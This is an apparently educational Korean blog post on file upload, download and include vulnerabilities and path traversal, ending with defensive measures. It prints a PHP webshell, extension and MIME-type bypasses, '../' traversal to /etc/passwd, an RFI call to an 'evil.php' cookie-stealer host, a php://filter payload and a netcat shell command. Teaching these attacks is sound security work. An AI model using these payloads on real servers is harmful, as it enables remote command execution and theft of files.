[1]Introduction
File upload 취약점이란?
-공격자가 원하는 임의의 파일을 업로드하는 취약점입니다.
-파일을 업로드 받는 곳에서 검증/검사의 부재나 잘못된 검증 방법으로 인해 발생합니다.
-Webshell처럼 공격자가 업로드한 파일에 접근해야 하는 경우 파일의 경로를 알고 있어야 공격이 가능합니다.
File download 취약점이란?
-웹 애플리케이션이나 서버에서 파일을 다운로드하는 과정에서 발생할 수 있는 보안 취약점입니다.
-다운로드(혹은 읽는)파일의 경로에 대해 검증/검사를 하지 않거나 잘못된 방법으로 검증/검사를 할 시 발생합니다.
-단순히 악의적인 파일을 다운로드하는 것 뿐만 아니라 RCE와 연계하여 사용할 수도 있습니다.
File include 취약점이란?
-웹 애플리케이션에서 외부 파일을 포함하거나 로드할 수 있는 기능이 악용되는 보안 취약점입니다.
path traversal 취약점이란?
-경로에 대한 요청을 받아 이를 가공할 때 검증/검사가 적절하지 않아 공격자가 원하는 위치에 접근할 수 있는 취약점입니다.
-'../'을 이용한 상위 디렉터리 File upload와 상위 디렉터리 접근 File download 등 File upload/download 취약점 범주에 모두 속할 수 있습니다.
[2-1]File upload vulnerability
File upload 공격의 종류
- Webshell upload: Webshell을 업로드하여 공격자가 웹 서버에 악성 스크립트 파일을 업로드하거나 포함시켜, 원격에서 서버를 제어할 수 있는 권한을 얻는 공격 방식입니다. 이때 악성 스크립트는 서버측에서 실행되는 스크립트로 서버에 해당 스크립트의 언어가 존재해야 실행이 가능합니다.
- XSS(cross-site-script) 연계: XSS 공격에 이용할 스크립트를 업로드하고, 이용자가 접근하면 쿠키 탈취, 피싱, 키로깅 취약점으로 연계하는 공격방식입니다.
- Deface 공격: 해킹을 이용하여 정치적, 사회적 목적을 달성하려는 hacktivist들이 주로 사용하는 공격으로, index.html을 공격자가 원하는 메세지나 정보를 표시하도록 하는 공격입니다.
Webshell upload
-webshell이란 공격자가 원격으로 서버를 제어할 수 있는 shell을 연결하는 취약점입니다.
-예를 들어 php 언어로 운용하는 사이트에서 파일 업로드 기능을 지원하고 있다고 해봅시다.
-위와 같이 파일을 업로드할 수 있으며, 파일의 경로(files/{file_dir}/{file_name} 알 수 있습니다.
//hello.php
<?php
echo "Hello world";
?>
-파일 업로드 기능을 이용하여 위와 같은 파일을 업로드하고 파일의 경로에 접근한다면 어떤 화면이 출력될까요?
-php 소스코드가 아닌 "Hello world"가 출력되므로 php파일이 실행되어 결과가 출력됨을 알 수 있습니다. Webshell을 구동하는 원리 또한 이와 같습니다.
//webshell.php
<?php system($_GET['cmd']); ?>
-위 스크립트는 cmd라는 파라미터의 값을 받으면 이를 출력하는 webshell입니다. 이를 파일로 업로드하고 파일의 경로에 접근 후
?cmd=ls 로 요청을 보내게 된다면 리눅스 명령어 "ls"의 결과가 페이지에 출력됩니다. 이제 공격자는 이 webshell로 원하는 명령어를 수행하여 권한을 상승하거나 다른 공격과 연계하여 서버를 장악할 수 있습니다. 보통 웹쉘을 열고 리버스쉘을 연결하는 방식으로 많이 사용합니다.
*리버스쉘이란? https://x4uiry.tistory.com/71
bind shell & reverse shell
netcat command-네트워크 연결, 데이터 전송, 포트 스캔, 네트워크 진단 작업등을 수행하는 데 유용한 도구입니다.#port opennc -vlp {port_number} -e /bin/bash-v: Verbose 모드로, 명령어 실행 중 더 많은 세부 정
x4uiry.tistory.com
Bypass Extension sanitization
(1)확장자를 블랙 리스트 방식으로 방어하는 경우
-업로드된 파일이 실행되지 않도록 php 등의 확장자를 블랙 리스트로 막아놓는 경우가 있습니다.
-이 경우 php5, phtml 등의 확장자를 사용하여 이를 우회할 수 있습니다.
*https://book.hacktricks.xyz/pentesting-web/file-upload
File Upload | HackTricks
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required). File Upload General Methodology Bypass file extensions checks Bypass Content-Type, Magic Number, Compression & Resizing The .phar
book.hacktricks.xyz
-두 번째 방법은 .htaccess 파일 생성입니다. 운영되는 웹 서버가 apache라면 .htaccess 라는 설정 파일을 디렉터리 내에 생성하여 확장자 블랙 리스트를 우회할 수 있습니다.
AddType application/x-httpd-php .newf
-예를 들어 .htaccess 파일에 위의 내용을 저장하여 업로드할 수 있다고 합시다. 위 구문의 의미는 ".newf" 확장자로 업로드한 파일은 파일 타입을 "application/x-httpd-php"로 취급한다는 것으로 newf 확장자를 사용하는 파일은 php로 파일처럼 다뤄지게 됩니다.
-따라서 위 표의 내용이 들어간 .htaccess 파일을 업로드하고 php webshell 코드가 있는 webshell.newf 를 업로드하면 php로 webshell.newf가 실행되어 webshell 공격이 허용됩니다.
(2)파일 이름을 뒤에서부터 검사하여 확장자를 찾아내는 로직의 경우(webshell.jpg.png.php -> php)
-%00(null 문자) 삽입을 통한 확장자 우회입니다. 만약 파일을 저장할 때 확장자를 검사하는 로직이 .으로 나누어 배열로 만들고 마지막 값을 가져오는 경우, webshell.php%00.jpg은 확장자가 jpg가 되지만 운영체제는 널 문자가 위치한 곳까지를 파일명의 끝으로 인식하므로 webshell.php 로 저장될 것입니다. 따라서 확장자 검사를 우회합니다.
(3)파일 이름을 앞에서부터 검사하여 확장자를 찾아내는 로직의 경우(webshell.jpg.png.php -> jpg)
-이런 로직의 경우 webshell.jpg.php로 저장하게 되면 손쉽게 우회할 수 있습니다.
Bypass MIME type verification
-MIME type은 아래 빨간 박스의 내용처럼 Content-Type 헤더에 파일의 타입을 나타내는 값입니다.
-아래 예시에서 보이는 Content-Type: application/x-httpd-php는 php 파일이란 뜻입니다.
....
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: application/x-httpd-php
<?php
echo system($_GET['cmd']);
?>
-이를 통해 파일을 검증하는 경우가 있는데, burpsuite 등으로 Content-Type을 "text/plain", "image/jpeg" 등으로 변조하면 손쉽게 우회할 수 있습니다.
파일이 업로드되는 디렉터리 아래에 실행 권한이 없는 경우
-path traversal을 이용: path traversal을 이용해 상위 디렉터리등에 저장하여 실행되도록 우회합니다.
-LFI와 같은 다른 취약점과 연계: 실행 권한 없이도 파일을 실행시킬 수 있는 다른 취약점을 찾아 연계하여 우회합니다.
[2-2]File download vulnerability
File download 공격의 종류
- path traversal을 이용해 /etc/passwd나 소스코드같은 중요 파일을 다운로드하는 공격
-예를 들어 파일을 다운로드하는 기능에서 경로 값을 검사하지 않을 때, '../../../../../../etc/passwd' 를 입력하여 허용되지 않은 범위의 파일을 다운로드하는 것이 대표적입니다.
-리눅스의 경우 /etc/passwd, windows의 경우 /boot.ini나 /winnt/win.ini 파일로 공격 성공 유무를 체크합니다.
[2-3]File include vulnerability
File include 공격
-include 공격을 설명하려면 php의 include 함수에 대한 특징을 알고 있어야 합니다. include 함수는 python이나 java의 import와 달리 동적 로딩(포함한 파일을 실행할 수 있음)을 합니다. 또한 url을 삽입하면 페이지에 접근하여 원격의 php파일을 동적로드할 수도 있습니다. 이러한 include 함수의 특징을 공격에 활용한다면 다양한 공격이 가능합니다.
*https://www.php.net/manual/en/function.include.php
PHP: include - Manual
PHP is a popular general-purpose scripting language that powers everything from your blog to the most popular websites in the world.
www.php.net
*물론 LFI 취약점은 php 이외의 언어에서도 발생할 수 있는 취약점입니다.
File include 공격의 종류
- LFI(Local File Include)
- RFI(Remote File Include)
LFI(Local File Include)
-공격자가 서버에서 파일 include하여 발생시키는 취약점으로 아래와 같이 파일을 include할 때 서버 내부의 중요 파일 file?=/etc/passwd 등을 읽는 등 의도되지 않은 파일을 읽을 수 있습니다.
<?php
$file = $_GET['file'];
include($file);
?>
-php include를 활용한 LFI 공격은 더욱 강한 파괴력을 가지고 있습니다.
- Log poisoning: 예를 들어 어떤 사용자든지 웹 페이지에 접속하게 되면 로그가 남게 됩니다. 이때 그 웹 서버의 로그 경로가 '/var/log/apache2/access.log'라면 HTTP header에 악의적인 php 실행 코드를 삽입하고 요청을 보낸 후 요청 로그 경로를 LFI로 접근할 시 로그 파일에 있던 php 실행 코드가 include 함수에 포함되어 실행됩니다.
- Bypass extension sanitization: webshell upload 등의 취약점을 방지하기 위해서 php 확장자의 업로드 제한이 걸린경우 include 함수로 인해 LFI 취약점이 발생한다면 이를 우회할 수 있습니다. php의 include 함수는 확장자와 상관 없이 로컬 파일을 동적로딩하기 때문에 php 실행 코드가 있다면 확장자와 상관없이 이를 실행합니다. 따라서 <?php system($_GET['cmd']) ?> 가 들어있는 shell.jpg 라는 파일도 include로 가져온다면 php 코드가 실행되기 때문에 "http://example.com/picture.php?=shell.jpg&cmd=ls" 라는 url로 요청을 보낸다면 ls 명령어 실행결과가 출력됩니다.
RFI(Remote File Include)
-include 함수는 원격의 php 파일도 동적 로드가 가능하다고 말했습니다. RFI는 이를 이용한 공격으로 적절한 검사가 없을 시 아래와 같은 코드에 "http://example.com/evil.php?attack=cookie_stoler" 등을 삽입하여 악의적인 외부의 파일을 include할 수 있습니다.
<?php
$file = $_GET['file'];
include($file);
?>
-이와 관련하여 더욱 다양한 공격이 가능한데, php에는 URL 스타일의 protocol과 wrapper를 제공하고 있습니다. 예를 들어 php://filter: php://filter/convert.base64-encode/resource=/etc/passwd 를 입력하여 base64 인코딩된 /etc/passwd 값을 얻을 수 있습니다.
*https://www.php.net/manual/en/wrappers.php
PHP: Supported Protocols and Wrappers - Manual
PHP is a popular general-purpose scripting language that powers everything from your blog to the most popular websites in the world.
www.php.net
File download와 File include의 차이
-File downlaod는 소스코드 자체를 다운받을 수 있으며 실행코드를 가져오더라도 실행하지 않습니다.
-File Include는 소스코드 자체를 다운받을 수 없으며 실행코드가 있다면 실행할 수 있습니다.
include는 전부 같은 방식으로 작동하는가?
-allow_url_include 설정을 통해 URL 포함 기능을 활성화하거나 비활성화할 수 있으므로 작동이 되지 않는 protocols과 wrapper가 있을 수 있습니다.
[3]How to prevent file vulnerability
파일 이름 난독화
-파일 이름을 저장한 파일 이름이 아닌 다른 값으로 변경하고 저장하고 경로 또한 노출하지 않는 방법입니다.
-sql injection이나 파일 경로가 노출되는 경우 취약해질 수 있습니다.
확장자 화이트리스트 필터링
-'jpg', 'png' 같은 확장자만 저장되도록 필터링하는 방법입니다.
-위에서 알아보았던 것처럼 특정 상황이나 조건에서는 우회가 가능할 수 있습니다.(.htaccess, LFI 등)
파일을 DB에 Blob, Clob 등으로 저장
-특정 디렉터리가 아닌 데이터 베이스에 파일을 저장하여 실행시키지 않도록하는 방법입니다.
외부서버(NAS 서버 등)에 파일을 저장
-파일 저장 용도로만 사용하는 서버를 구축하고 실행하지 못하도록 실행 파일 언어를 사용하지 못하게 하는 방법입니다.
*물론 위 방어 방법들을 사용하기 전에 디렉터리 리스팅 방지, 상황에 따른 사용자 인증이 구현되어야 할 것입니다.
'knowledge > web' 카테고리의 다른 글
NO-SQL Injection (1) | 2024.12.14 |
---|---|
Athentication&Athorization Vulnerability (0) | 2024.08.01 |
Cross-Site-Script (0) | 2024.06.13 |
SQL Injection (0) | 2024.05.09 |
Solar, exploiting log4j - Tryhackme (0) | 2024.04.29 |